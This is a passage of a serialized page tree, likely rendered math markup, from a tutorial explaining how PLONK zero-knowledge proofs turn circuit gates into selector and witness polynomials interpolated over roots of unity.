"children":143390},{"className":143389},[5658],[143391,143395,143436,143440,143445],{"type":24,"tag":158,"props":143392,"children":143394},{"className":143393,"style":124537},[5663],[],{"type":24,"tag":158,"props":143396,"children":143398},{"className":143397},[5669],[143399,143404],{"type":24,"tag":158,"props":143400,"children":143402},{"className":143401},[5669,22832],[143403],{"type":29,"value":20518},{"type":24,"tag":158,"props":143405,"children":143407},{"className":143406},[5686],[143408],{"type":24,"tag":158,"props":143409,"children":143411},{"className":143410},[5691],[143412],{"type":24,"tag":158,"props":143413,"children":143415},{"className":143414},[5696],[143416],{"type":24,"tag":158,"props":143417,"children":143419},{"className":143418,"style":5664},[5701],[143420],{"type":24,"tag":158,"props":143421,"children":143422},{"style":5705},[143423,143427],{"type":24,"tag":158,"props":143424,"children":143426},{"className":143425,"style":5711},[5710],[],{"type":24,"tag":158,"props":143428,"children":143430},{"className":143429},[5716,5717,5718,5719],[143431],{"type":24,"tag":158,"props":143432,"children":143434},{"className":143433},[5669,5719],[143435],{"type":29,"value":18534},{"type":24,"tag":158,"props":143437,"children":143439},{"className":143438,"style":5751},[5750],[],{"type":24,"tag":158,"props":143441,"children":143443},{"className":143442},[5756],[143444],{"type":29,"value":728},{"type":24,"tag":158,"props":143446,"children":143448},{"className":143447,"style":5751},[5750],[],{"type":24,"tag":158,"props":143450,"children":143452},{"className":143451},[5658],[143453,143457],{"type":24,"tag":158,"props":143454,"children":143456},{"className":143455,"style":95356},[5663],[],{"type":24,"tag":158,"props":143458,"children":143460},{"className":143459},[5669],[143461],{"type":29,"value":55943},{"type":29,"value":143463},", here in ",{"type":24,"tag":154,"props":143465,"children":143467},{"className":143466},[5642,5643],[143468],{"type":24,"tag":158,"props":143469,"children":143471},{"className":143470},[5648],[143472],{"type":24,"tag":158,"props":143473,"children":143475},{"className":143474,"ariaHidden":3185},[5653],[143476],{"type":24,"tag":158,"props":143477,"children":143479},{"className":143478},[5658],[143480,143485],{"type":24,"tag":158,"props":143481,"children":143484},{"className":143482,"style":143483},[5663],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":143486,"children":143488},{"className":143487},[5669],[143489,143494],{"type":24,"tag":158,"props":143490,"children":143492},{"className":143491},[5669,123100],[143493],{"type":29,"value":123103},{"type":24,"tag":158,"props":143495,"children":143497},{"className":143496},[5686],[143498],{"type":24,"tag":158,"props":143499,"children":143501},{"className":143500},[5691,22886],[143502,143536],{"type":24,"tag":158,"props":143503,"children":143505},{"className":143504},[5696],[143506,143531],{"type":24,"tag":158,"props":143507,"children":143509},{"className":143508,"style":94377},[5701],[143510],{"type":24,"tag":158,"props":143511,"children":143512},{"style":94381},[143513,143517],{"type":24,"tag":158,"props":143514,"children":143516},{"className":143515,"style":5711},[5710],[],{"type":24,"tag":158,"props":143518,"children":143520},{"className":143519},[5716,5717,5718,5719],[143521],{"type":24,"tag":158,"props":143522,"children":143524},{"className":143523},[5669,5719],[143525],{"type":24,"tag":158,"props":143526,"children":143528},{"className":143527},[5669,5719],[143529],{"type":29,"value":143530},"37",{"type":24,"tag":158,"props":143532,"children":143534},{"className":143533},[22989],[143535],{"type":29,"value":22992},{"type":24,"tag":158,"props":143537,"children":143539},{"className":143538},[5696],[143540],{"type":24,"tag":158,"props":143541,"children":143543},{"className":143542,"style":94408},[5701],[143544],{"type":24,"tag":158,"props":143545,"children":143546},{},[],{"type":29,"value":347},{"type":24,"tag":143549,"props":143550,"children":143551},"arithmetic-circuit-widget",{},[],{"type":24,"tag":25,"props":143553,"children":143554},{},[143555,143557,143583,143585,143664,143666,143743,143745,143822],{"type":29,"value":143556},"Each gate ",{"type":24,"tag":154,"props":143558,"children":143560},{"className":143559},[5642,5643],[143561],{"type":24,"tag":158,"props":143562,"children":143564},{"className":143563},[5648],[143565],{"type":24,"tag":158,"props":143566,"children":143568},{"className":143567,"ariaHidden":3185},[5653],[143569],{"type":24,"tag":158,"props":143570,"children":143572},{"className":143571},[5658],[143573,143578],{"type":24,"tag":158,"props":143574,"children":143577},{"className":143575,"style":143576},[5663],"height:0.6595em;",[],{"type":24,"tag":158,"props":143579,"children":143581},{"className":143580},[5669,22832],[143582],{"type":29,"value":1832},{"type":29,"value":143584}," has a left input ",{"type":24,"tag":154,"props":143586,"children":143588},{"className":143587},[5642,5643],[143589],{"type":24,"tag":158,"props":143590,"children":143592},{"className":143591},[5648],[143593],{"type":24,"tag":158,"props":143594,"children":143596},{"className":143595,"ariaHidden":3185},[5653],[143597],{"type":24,"tag":158,"props":143598,"children":143600},{"className":143599},[5658],[143601,143606],{"type":24,"tag":158,"props":143602,"children":143605},{"className":143603,"style":143604},[5663],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":143607,"children":143609},{"className":143608},[5669],[143610,143615],{"type":24,"tag":158,"props":143611,"children":143613},{"className":143612,"style":94337},[5669,22832],[143614],{"type":29,"value":94340},{"type":24,"tag":158,"props":143616,"children":143618},{"className":143617},[5686],[143619],{"type":24,"tag":158,"props":143620,"children":143622},{"className":143621},[5691,22886],[143623,143653],{"type":24,"tag":158,"props":143624,"children":143626},{"className":143625},[5696],[143627,143648],{"type":24,"tag":158,"props":143628,"children":143630},{"className":143629,"style":94854},[5701],[143631],{"type":24,"tag":158,"props":143632,"children":143634},{"style":143633},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[143635,143639],{"type":24,"tag":158,"props":143636,"children":143638},{"className":143637,"style":5711},[5710],[],{"type":24,"tag":158,"props":143640,"children":143642},{"className":143641},[5716,5717,5718,5719],[143643],{"type":24,"tag":158,"props":143644,"children":143646},{"className":143645},[5669,22832,5719],[143647],{"type":29,"value":1832},{"type":24,"tag":158,"props":143649,"children":143651},{"className":143650},[22989],[143652],{"type":29,"value":22992},{"type":24,"tag":158,"props":143654,"children":143656},{"className":143655},[5696],[143657],{"type":24,"tag":158,"props":143658,"children":143660},{"className":143659,"style":94408},[5701],[143661],{"type":24,"tag":158,"props":143662,"children":143663},{},[],{"type":29,"value":143665},", right input ",{"type":24,"tag":154,"props":143667,"children":143669},{"className":143668},[5642,5643],[143670],{"type":24,"tag":158,"props":143671,"children":143673},{"className":143672},[5648],[143674],{"type":24,"tag":158,"props":143675,"children":143677},{"className":143676,"ariaHidden":3185},[5653],[143678],{"type":24,"tag":158,"props":143679,"children":143681},{"className":143680},[5658],[143682,143686],{"type":24,"tag":158,"props":143683,"children":143685},{"className":143684,"style":111295},[5663],[],{"type":24,"tag":158,"props":143687,"children":143689},{"className":143688},[5669],[143690,143695],{"type":24,"tag":158,"props":143691,"children":143693},{"className":143692,"style":94325},[5669,22832],[143694],{"type":29,"value":95144},{"type":24,"tag":158,"props":143696,"children":143698},{"className":143697},[5686],[143699],{"type":24,"tag":158,"props":143700,"children":143702},{"className":143701},[5691,22886],[143703,143732],{"type":24,"tag":158,"props":143704,"children":143706},{"className":143705},[5696],[143707,143727],{"type":24,"tag":158,"props":143708,"children":143710},{"className":143709,"style":94854},[5701],[143711],{"type":24,"tag":158,"props":143712,"children":143713},{"style":111324},[143714,143718],{"type":24,"tag":158,"props":143715,"children":143717},{"className":143716,"style":5711},[5710],[],{"type":24,"tag":158,"props":143719,"children":143721},{"className":143720},[5716,5717,5718,5719],[143722],{"type":24,"tag":158,"props":143723,"children":143725},{"className":143724},[5669,22832,5719],[143726],{"type":29,"value":1832},{"type":24,"tag":158,"props":143728,"children":143730},{"className":143729},[22989],[143731],{"type":29,"value":22992},{"type":24,"tag":158,"props":143733,"children":143735},{"className":143734},[5696],[143736],{"type":24,"tag":158,"props":143737,"children":143739},{"className":143738,"style":94408},[5701],[143740],{"type":24,"tag":158,"props":143741,"children":143742},{},[],{"type":29,"value":143744},", and output ",{"type":24,"tag":154,"props":143746,"children":143748},{"className":143747},[5642,5643],[143749],{"type":24,"tag":158,"props":143750,"children":143752},{"className":143751},[5648],[143753],{"type":24,"tag":158,"props":143754,"children":143756},{"className":143755,"ariaHidden":3185},[5653],[143757],{"type":24,"tag":158,"props":143758,"children":143760},{"className":143759},[5658],[143761,143765],{"type":24,"tag":158,"props":143762,"children":143764},{"className":143763,"style":111295},[5663],[],{"type":24,"tag":158,"props":143766,"children":143768},{"className":143767},[5669],[143769,143774],{"type":24,"tag":158,"props":143770,"children":143772},{"className":143771},[5669,22832],[143773],{"type":29,"value":94295},{"type":24,"tag":158,"props":143775,"children":143777},{"className":143776},[5686],[143778],{"type":24,"tag":158,"props":143779,"children":143781},{"className":143780},[5691,22886],[143782,143811],{"type":24,"tag":158,"props":143783,"children":143785},{"className":143784},[5696],[143786,143806],{"type":24,"tag":158,"props":143787,"children":143789},{"className":143788,"style":94854},[5701],[143790],{"type":24,"tag":158,"props":143791,"children":143792},{"style":94381},[143793,143797],{"type":24,"tag":158,"props":143794,"children":143796},{"className":143795,"style":5711},[5710],[],{"type":24,"tag":158,"props":143798,"children":143800},{"className":143799},[5716,5717,5718,5719],[143801],{"type":24,"tag":158,"props":143802,"children":143804},{"className":143803},[5669,22832,5719],[143805],{"type":29,"value":1832},{"type":24,"tag":158,"props":143807,"children":143809},{"className":143808},[22989],[143810],{"type":29,"value":22992},{"type":24,"tag":158,"props":143812,"children":143814},{"className":143813},[5696],[143815],{"type":24,"tag":158,"props":143816,"children":143818},{"className":143817,"style":94408},[5701],[143819],{"type":24,"tag":158,"props":143820,"children":143821},{},[],{"type":29,"value":143823},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":25,"props":143825,"children":143826},{},[143827,143829,143834,143836,143940,143942,144045,144047,144052],{"type":29,"value":143828},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":32,"props":143830,"children":143831},{},[143832],{"type":29,"value":143833},"selector",{"type":29,"value":143835}," values that act as switches: setting ",{"type":24,"tag":154,"props":143837,"children":143839},{"className":143838},[5642,5643],[143840],{"type":24,"tag":158,"props":143841,"children":143843},{"className":143842},[5648],[143844],{"type":24,"tag":158,"props":143845,"children":143847},{"className":143846,"ariaHidden":3185},[5653],[143848,143927],{"type":24,"tag":158,"props":143849,"children":143851},{"className":143850},[5658],[143852,143856,143914,143918,143923],{"type":24,"tag":158,"props":143853,"children":143855},{"className":143854,"style":111215},[5663],[],{"type":24,"tag":158,"props":143857,"children":143859},{"className":143858},[5669],[143860,143865],{"type":24,"tag":158,"props":143861,"children":143863},{"className":143862,"style":94811},[5669,22832],[143864],{"type":29,"value":94814},{"type":24,"tag":158,"props":143866,"children":143868},{"className":143867},[5686],[143869],{"type":24,"tag":158,"props":143870,"children":143872},{"className":143871},[5691,22886],[143873,143903],{"type":24,"tag":158,"props":143874,"children":143876},{"className":143875},[5696],[143877,143898],{"type":24,"tag":158,"props":143878,"children":143881},{"className":143879,"style":143880},[5701],"height:0.3283em;",[143882],{"type":24,"tag":158,"props":143883,"children":143884},{"style":94858},[143885,143889],{"type":24,"tag":158,"props":143886,"children":143888},{"className":143887,"style":5711},[5710],[],{"type":24,"tag":158,"props":143890,"children":143892},{"className":143891},[5716,5717,5718,5719],[143893],{"type":24,"tag":158,"props":143894,"children":143896},{"className":143895,"style":96333},[5669,22832,5719],[143897],{"type":29,"value":96336},{"type":24,"tag":158,"props":143899,"children":143901},{"className":143900},[22989],[143902],{"type":29,"value":22992},{"type":24,"tag":158,"props":143904,"children":143906},{"className":143905},[5696],[143907],{"type":24,"tag":158,"props":143908,"children":143910},{"className":143909,"style":94408},[5701],[143911],{"type":24,"tag":158,"props":143912,"children":143913},{},[],{"type":24,"tag":158,"props":143915,"children":143917},{"className":143916,"style":5848},[5750],[],{"type":24,"tag":158,"props":143919,"children":143921},{"className":143920},[5853],[143922],{"type":29,"value":1285},{"type":24,"tag":158,"props":143924,"children":143926},{"className":143925,"style":5848},[5750],[],{"type":24,"tag":158,"props":143928,"children":143930},{"className":143929},[5658],[143931,143935],{"type":24,"tag":158,"props":143932,"children":143934},{"className":143933,"style":95356},[5663],[],{"type":24,"tag":158,"props":143936,"children":143938},{"className":143937},[5669],[143939],{"type":29,"value":5672},{"type":29,"value":143941}," makes a row a multiplication gate, setting ",{"type":24,"tag":154,"props":143943,"children":143945},{"className":143944},[5642,5643],[143946],{"type":24,"tag":158,"props":143947,"children":143949},{"className":143948},[5648],[143950],{"type":24,"tag":158,"props":143951,"children":143953},{"className":143952,"ariaHidden":3185},[5653],[143954,144032],{"type":24,"tag":158,"props":143955,"children":143957},{"className":143956},[5658],[143958,143962,144019,144023,144028],{"type":24,"tag":158,"props":143959,"children":143961},{"className":143960,"style":111215},[5663],[],{"type":24,"tag":158,"props":143963,"children":143965},{"className":143964},[5669],[143966,143971],{"type":24,"tag":158,"props":143967,"children":143969},{"className":143968,"style":94811},[5669,22832],[143970],{"type":29,"value":94814},{"type":24,"tag":158,"props":143972,"children":143974},{"className":143973},[5686],[143975],{"type":24,"tag":158,"props":143976,"children":143978},{"className":143977},[5691,22886],[143979,144008],{"type":24,"tag":158,"props":143980,"children":143982},{"className":143981},[5696],[143983,144003],{"type":24,"tag":158,"props":143984,"children":143986},{"className":143985,"style":143880},[5701],[143987],{"type":24,"tag":158,"props":143988,"children":143989},{"style":94858},[143990,143994],{"type":24,"tag":158,"props":143991,"children":143993},{"className":143992,"style":5711},[5710],[],{"type":24,"tag":158,"props":143995,"children":143997},{"className":143996},[5716,5717,5718,5719],[143998],{"type":24,"tag":158,"props":143999,"children":144001},{"className":144000},[5669,22832,5719],[144002],{"type":29,"value":119289},{"type":24,"tag":158,"props":144004,"children":144006},{"className":144005},[22989],[144007],{"type":29,"value":22992},{"type":24,"tag":158,"props":144009,"children":144011},{"className":144010},[5696],[144012],{"type":24,"tag":158,"props":144013,"children":144015},{"className":144014,"style":94408},[5701],[144016],{"type":24,"tag":158,"props":144017,"children":144018},{},[],{"type":24,"tag":158,"props":144020,"children":144022},{"className":144021,"style":5848},[5750],[],{"type":24,"tag":158,"props":144024,"children":144026},{"className":144025},[5853],[144027],{"type":29,"value":1285},{"type":24,"tag":158,"props":144029,"children":144031},{"className":144030,"style":5848},[5750],[],{"type":24,"tag":158,"props":144033,"children":144035},{"className":144034},[5658],[144036,144040],{"type":24,"tag":158,"props":144037,"children":144039},{"className":144038,"style":95356},[5663],[],{"type":24,"tag":158,"props":144041,"children":144043},{"className":144042},[5669],[144044],{"type":29,"value":5672},{"type":29,"value":144046}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":32,"props":144048,"children":144049},{},[144050],{"type":29,"value":144051},"permutation argument",{"type":29,"value":144053}," for that, which we will not cover here.",{"type":24,"tag":395,"props":144055,"children":144057},{"id":144056},"from-many-checks-to-one",[144058],{"type":29,"value":144059},"From many checks to one",{"type":24,"tag":25,"props":144061,"children":144062},{},[144063,144065,144070,144071,144163,144164,144256,144257,144349,144351,144356,144357,144449,144450,144542,144544,144569,144571,144596,144598,144690,144692,144717,144719,144744],{"type":29,"value":144064},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":32,"props":144066,"children":144067},{},[144068],{"type":29,"value":144069},"witness polynomials",{"type":29,"value":8106},{"type":24,"tag":154,"props":144072,"children":144074},{"className":144073},[5642,5643],[144075],{"type":24,"tag":158,"props":144076,"children":144078},{"className":144077},[5648],[144079],{"type":24,"tag":158,"props":144080,"children":144082},{"className":144081,"ariaHidden":3185},[5653],[144083],{"type":24,"tag":158,"props":144084,"children":144086},{"className":144085},[5658],[144087,144091,144148,144153,144158],{"type":24,"tag":158,"props":144088,"children":144090},{"className":144089,"style":5771},[5663],[],{"type":24,"tag":158,"props":144092,"children":144094},{"className":144093},[5669],[144095,144100],{"type":24,"tag":158,"props":144096,"children":144098},{"className":144097,"style":96679},[5669,22832],[144099],{"type":29,"value":34347},{"type":24,"tag":158,"props":144101,"children":144103},{"className":144102},[5686],[144104],{"type":24,"tag":158,"props":144105,"children":144107},{"className":144106},[5691,22886],[144108,144137],{"type":24,"tag":158,"props":144109,"children":144111},{"className":144110},[5696],[144112,144132],{"type":24,"tag":158,"props":144113,"children":144115},{"className":144114,"style":143880},[5701],[144116],{"type":24,"tag":158,"props":144117,"children":144118},{"style":96700},[144119,144123],{"type":24,"tag":158,"props":144120,"children":144122},{"className":144121,"style":5711},[5710],[],{"type":24,"tag":158,"props":144124,"children":144126},{"className":144125},[5716,5717,5718,5719],[144127],{"type":24,"tag":158,"props":144128,"children":144130},{"className":144129},[5669,22832,5719],[144131],{"type":29,"value":119289},{"type":24,"tag":158,"props":144133,"children":144135},{"className":144134},[22989],[144136],{"type":29,"value":22992},{"type":24,"tag":158,"props":144138,"children":144140},{"className":144139},[5696],[144141],{"type":24,"tag":158,"props":144142,"children":144144},{"className":144143,"style":94408},[5701],[144145],{"type":24,"tag":158,"props":144146,"children":144147},{},[],{"type":24,"tag":158,"props":144149,"children":144151},{"className":144150},[22961],[144152],{"type":29,"value":504},{"type":24,"tag":158,"props":144154,"children":144156},{"className":144155},[5669,22832],[144157],{"type":29,"value":20518},{"type":24,"tag":158,"props":144159,"children":144161},{"className":144160},[22983],[144162],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":144165,"children":144167},{"className":144166},[5642,5643],[144168],{"type":24,"tag":158,"props":144169,"children":144171},{"className":144170},[5648],[144172],{"type":24,"tag":158,"props":144173,"children":144175},{"className":144174,"ariaHidden":3185},[5653],[144176],{"type":24,"tag":158,"props":144177,"children":144179},{"className":144178},[5658],[144180,144184,144241,144246,144251],{"type":24,"tag":158,"props":144181,"children":144183},{"className":144182,"style":5771},[5663],[],{"type":24,"tag":158,"props":144185,"children":144187},{"className":144186},[5669],[144188,144193],{"type":24,"tag":158,"props":144189,"children":144191},{"className":144190,"style":96679},[5669,22832],[144192],{"type":29,"value":34347},{"type":24,"tag":158,"props":144194,"children":144196},{"className":144195},[5686],[144197],{"type":24,"tag":158,"props":144198,"children":144200},{"className":144199},[5691,22886],[144201,144230],{"type":24,"tag":158,"props":144202,"children":144204},{"className":144203},[5696],[144205,144225],{"type":24,"tag":158,"props":144206,"children":144208},{"className":144207,"style":143880},[5701],[144209],{"type":24,"tag":158,"props":144210,"children":144211},{"style":96700},[144212,144216],{"type":24,"tag":158,"props":144213,"children":144215},{"className":144214,"style":5711},[5710],[],{"type":24,"tag":158,"props":144217,"children":144219},{"className":144218},[5716,5717,5718,5719],[144220],{"type":24,"tag":158,"props":144221,"children":144223},{"className":144222,"style":124102},[5669,22832,5719],[144224],{"type":29,"value":124105},{"type":24,"tag":158,"props":144226,"children":144228},{"className":144227},[22989],[144229],{"type":29,"value":22992},{"type":24,"tag":158,"props":144231,"children":144233},{"className":144232},[5696],[144234],{"type":24,"tag":158,"props":144235,"children":144237},{"className":144236,"style":94408},[5701],[144238],{"type":24,"tag":158,"props":144239,"children":144240},{},[],{"type":24,"tag":158,"props":144242,"children":144244},{"className":144243},[22961],[144245],{"type":29,"value":504},{"type":24,"tag":158,"props":144247,"children":144249},{"className":144248},[5669,22832],[144250],{"type":29,"value":20518},{"type":24,"tag":158,"props":144252,"children":144254},{"className":144253},[22983],[144255],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":144258,"children":144260},{"className":144259},[5642,5643],[144261],{"type":24,"tag":158,"props":144262,"children":144264},{"className":144263},[5648],[144265],{"type":24,"tag":158,"props":144266,"children":144268},{"className":144267,"ariaHidden":3185},[5653],[144269],{"type":24,"tag":158,"props":144270,"children":144272},{"className":144271},[5658],[144273,144277,144334,144339,144344],{"type":24,"tag":158,"props":144274,"children":144276},{"className":144275,"style":5771},[5663],[],{"type":24,"tag":158,"props":144278,"children":144280},{"className":144279},[5669],[144281,144286],{"type":24,"tag":158,"props":144282,"children":144284},{"className":144283,"style":96679},[5669,22832],[144285],{"type":29,"value":34347},{"type":24,"tag":158,"props":144287,"children":144289},{"className":144288},[5686],[144290],{"type":24,"tag":158,"props":144291,"children":144293},{"className":144292},[5691,22886],[144294,144323],{"type":24,"tag":158,"props":144295,"children":144297},{"className":144296},[5696],[144298,144318],{"type":24,"tag":158,"props":144299,"children":144301},{"className":144300,"style":143880},[5701],[144302],{"type":24,"tag":158,"props":144303,"children":144304},{"style":96700},[144305,144309],{"type":24,"tag":158,"props":144306,"children":144308},{"className":144307,"style":5711},[5710],[],{"type":24,"tag":158,"props":144310,"children":144312},{"className":144311},[5716,5717,5718,5719],[144313],{"type":24,"tag":158,"props":144314,"children":144316},{"className":144315,"style":94325},[5669,22832,5719],[144317],{"type":29,"value":116644},{"type":24,"tag":158,"props":144319,"children":144321},{"className":144320},[22989],[144322],{"type":29,"value":22992},{"type":24,"tag":158,"props":144324,"children":144326},{"className":144325},[5696],[144327],{"type":24,"tag":158,"props":144328,"children":144330},{"className":144329,"style":94408},[5701],[144331],{"type":24,"tag":158,"props":144332,"children":144333},{},[],{"type":24,"tag":158,"props":144335,"children":144337},{"className":144336},[22961],[144338],{"type":29,"value":504},{"type":24,"tag":158,"props":144340,"children":144342},{"className":144341},[5669,22832],[144343],{"type":29,"value":20518},{"type":24,"tag":158,"props":144345,"children":144347},{"className":144346},[22983],[144348],{"type":29,"value":521},{"type":29,"value":144350}," and the selectors become ",{"type":24,"tag":32,"props":144352,"children":144353},{},[144354],{"type":29,"value":144355},"selector polynomials",{"type":29,"value":8106},{"type":24,"tag":154,"props":144358,"children":144360},{"className":144359},[5642,5643],[144361],{"type":24,"tag":158,"props":144362,"children":144364},{"className":144363},[5648],[144365],{"type":24,"tag":158,"props":144366,"children":144368},{"className":144367,"ariaHidden":3185},[5653],[144369],{"type":24,"tag":158,"props":144370,"children":144372},{"className":144371},[5658],[144373,144377,144434,144439,144444],{"type":24,"tag":158,"props":144374,"children":144376},{"className":144375,"style":5771},[5663],[],{"type":24,"tag":158,"props":144378,"children":144380},{"className":144379},[5669],[144381,144386],{"type":24,"tag":158,"props":144382,"children":144384},{"className":144383},[5669,22832],[144385],{"type":29,"value":78080},{"type":24,"tag":158,"props":144387,"children":144389},{"className":144388},[5686],[144390],{"type":24,"tag":158,"props":144391,"children":144393},{"className":144392},[5691,22886],[144394,144423],{"type":24,"tag":158,"props":144395,"children":144397},{"className":144396},[5696],[144398,144418],{"type":24,"tag":158,"props":144399,"children":144401},{"className":144400,"style":143880},[5701],[144402],{"type":24,"tag":158,"props":144403,"children":144404},{"style":94381},[144405,144409],{"type":24,"tag":158,"props":144406,"children":144408},{"className":144407,"style":5711},[5710],[],{"type":24,"tag":158,"props":144410,"children":144412},{"className":144411},[5716,5717,5718,5719],[144413],{"type":24,"tag":158,"props":144414,"children":144416},{"className":144415,"style":96333},[5669,22832,5719],[144417],{"type":29,"value":96336},{"type":24,"tag":158,"props":144419,"children":144421},{"className":144420},[22989],[144422],{"type":29,"value":22992},{"type":24,"tag":158,"props":144424,"children":144426},{"className":144425},[5696],[144427],{"type":24,"tag":158,"props":144428,"children":144430},{"className":144429,"style":94408},[5701],[144431],{"type":24,"tag":158,"props":144432,"children":144433},{},[],{"type":24,"tag":158,"props":144435,"children":144437},{"className":144436},[22961],[144438],{"type":29,"value":504},{"type":24,"tag":158,"props":144440,"children":144442},{"className":144441},[5669,22832],[144443],{"type":29,"value":20518},{"type":24,"tag":158,"props":144445,"children":144447},{"className":144446},[22983],[144448],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":144451,"children":144453},{"className":144452},[5642,5643],[144454],{"type":24,"tag":158,"props":144455,"children":144457},{"className":144456},[5648],[144458],{"type":24,"tag":158,"props":144459,"children":144461},{"className":144460,"ariaHidden":3185},[5653],[144462],{"type":24,"tag":158,"props":144463,"children":144465},{"className":144464},[5658],[144466,144470,144527,144532,144537],{"type":24,"tag":158,"props":144467,"children":144469},{"className":144468,"style":5771},[5663],[],{"type":24,"tag":158,"props":144471,"children":144473},{"className":144472},[5669],[144474,144479],{"type":24,"tag":158,"props":144475,"children":144477},{"className":144476},[5669,22832],[144478],{"type":29,"value":78080},{"type":24,"tag":158,"props":144480,"children":144482},{"className":144481},[5686],[144483],{"type":24,"tag":158,"props":144484,"children":144486},{"className":144485},[5691,22886],[144487,144516],{"type":24,"tag":158,"props":144488,"children":144490},{"className":144489},[5696],[144491,144511],{"type":24,"tag":158,"props":144492,"children":144494},{"className":144493,"style":143880},[5701],[144495],{"type":24,"tag":158,"props":144496,"children":144497},{"style":94381},[144498,144502],{"type":24,"tag":158,"props":144499,"children":144501},{"className":144500,"style":5711},[5710],[],{"type":24,"tag":158,"props":144503,"children":144505},{"className":144504},[5716,5717,5718,5719],[144506],{"type":24,"tag":158,"props":144507,"children":144509},{"className":144508},[5669,22832,5719],[144510],{"type":29,"value":119289},{"type":24,"tag":158,"props":144512,"children":144514},{"className":144513},[22989],[144515],{"type":29,"value":22992},{"type":24,"tag":158,"props":144517,"children":144519},{"className":144518},[5696],[144520],{"type":24,"tag":158,"props":144521,"children":144523},{"className":144522,"style":94408},[5701],[144524],{"type":24,"tag":158,"props":144525,"children":144526},{},[],{"type":24,"tag":158,"props":144528,"children":144530},{"className":144529},[22961],[144531],{"type":29,"value":504},{"type":24,"tag":158,"props":144533,"children":144535},{"className":144534},[5669,22832],[144536],{"type":29,"value":20518},{"type":24,"tag":158,"props":144538,"children":144540},{"className":144539},[22983],[144541],{"type":29,"value":521},{"type":29,"value":144543},", etc., all interpolated over a domain ",{"type":24,"tag":154,"props":144545,"children":144547},{"className":144546},[5642,5643],[144548],{"type":24,"tag":158,"props":144549,"children":144551},{"className":144550},[5648],[144552],{"type":24,"tag":158,"props":144553,"children":144555},{"className":144554,"ariaHidden":3185},[5653],[144556],{"type":24,"tag":158,"props":144557,"children":144559},{"className":144558},[5658],[144560,144564],{"type":24,"tag":158,"props":144561,"children":144563},{"className":144562,"style":22827},[5663],[],{"type":24,"tag":158,"props":144565,"children":144567},{"className":144566,"style":94559},[5669,22832],[144568],{"type":29,"value":94562},{"type":29,"value":144570}," of ",{"type":24,"tag":154,"props":144572,"children":144574},{"className":144573},[5642,5643],[144575],{"type":24,"tag":158,"props":144576,"children":144578},{"className":144577},[5648],[144579],{"type":24,"tag":158,"props":144580,"children":144582},{"className":144581,"ariaHidden":3185},[5653],[144583],{"type":24,"tag":158,"props":144584,"children":144586},{"className":144585},[5658],[144587,144591],{"type":24,"tag":158,"props":144588,"children":144590},{"className":144589,"style":112166},[5663],[],{"type":24,"tag":158,"props":144592,"children":144594},{"className":144593},[5669,22832],[144595],{"type":29,"value":57676},{"type":29,"value":144597},"-th roots of unity. Evaluating ",{"type":24,"tag":154,"props":144599,"children":144601},{"className":144600},[5642,5643],[144602],{"type":24,"tag":158,"props":144603,"children":144605},{"className":144604},[5648],[144606],{"type":24,"tag":158,"props":144607,"children":144609},{"className":144608,"ariaHidden":3185},[5653],[144610],{"type":24,"tag":158,"props":144611,"children":144613},{"className":144612},[5658],[144614,144618,144675,144680,144685],{"type":24,"tag":158,"props":144615,"children":144617},{"className":144616,"style":5771},[5663],[],{"type":24,"tag":158,"props":144619,"children":144621},{"className":144620},[5669],[144622,144627],{"type":24,"tag":158,"props":144623,"children":144625},{"className":144624,"style":96679},[5669,22832],[144626],{"type":29,"value":34347},{"type":24,"tag":158,"props":144628,"children":144630},{"className":144629},[5686],[144631],{"type":24,"tag":158,"props":144632,"children":144634},{"className":144633},[5691,22886],[144635,144664],{"type":24,"tag":158,"props":144636,"children":144638},{"className":144637},[5696],[144639,144659],{"type":24,"tag":158,"props":144640,"children":144642},{"className":144641,"style":143880},[5701],[144643],{"type":24,"tag":158,"props":144644,"children":144645},{"style":96700},[144646,144650],{"type":24,"tag":158,"props":144647,"children":144649},{"className":144648,"style":5711},[5710],[],{"type":24,"tag":158,"props":144651,"children":144653},{"className":144652},[5716,5717,5718,5719],[144654],{"type":24,"tag":158,"props":144655,"children":144657},{"className":144656},[5669,22832,5719],[144658],{"type":29,"value":119289},{"type":24,"tag":158,"props":144660,"children":144662},{"className":144661},[22989],[144663],{"type":29,"value":22992},{"type":24,"tag":158,"props":144665,"children":144667},{"className":144666},[5696],[144668],{"type":24,"tag":158,"props":144669,"children":144671},{"className":144670,"style":94408},[5701],[144672],{"type":24,"tag":158,"props":144673,"children":144674},{},[],{"type":24,"tag":158,"props":144676,"children":144678},{"className":144677},[22961],[144679],{"type":29,"value":504},{"type":24,"tag":158,"props":144681,"children":144683},{"className":144682},[5669,22832],[144684],{"type":29,"value":20518},{"type":24,"tag":158,"props":144686,"children":144688},{"className":144687},[22983],[144689],{"type":29,"value":521},{"type":29,"value":144691}," at the ",{"type":24,"tag":154,"props":144693,"children":144695},{"className":144694},[5642,5643],[144696],{"type":24,"tag":158,"props":144697,"children":144699},{"className":144698},[5648],[144700],{"type":24,"tag":158,"props":144701,"children":144703},{"className":144702,"ariaHidden":3185},[5653],[144704],{"type":24,"tag":158,"props":144705,"children":144707},{"className":144706},[5658],[144708,144712],{"type":24,"tag":158,"props":144709,"children":144711},{"className":144710,"style":143576},[5663],[],{"type":24,"tag":158,"props":144713,"children":144715},{"className":144714},[5669,22832],[144716],{"type":29,"value":1832},{"type":29,"value":144718},"-th root recovers the left wire value at row 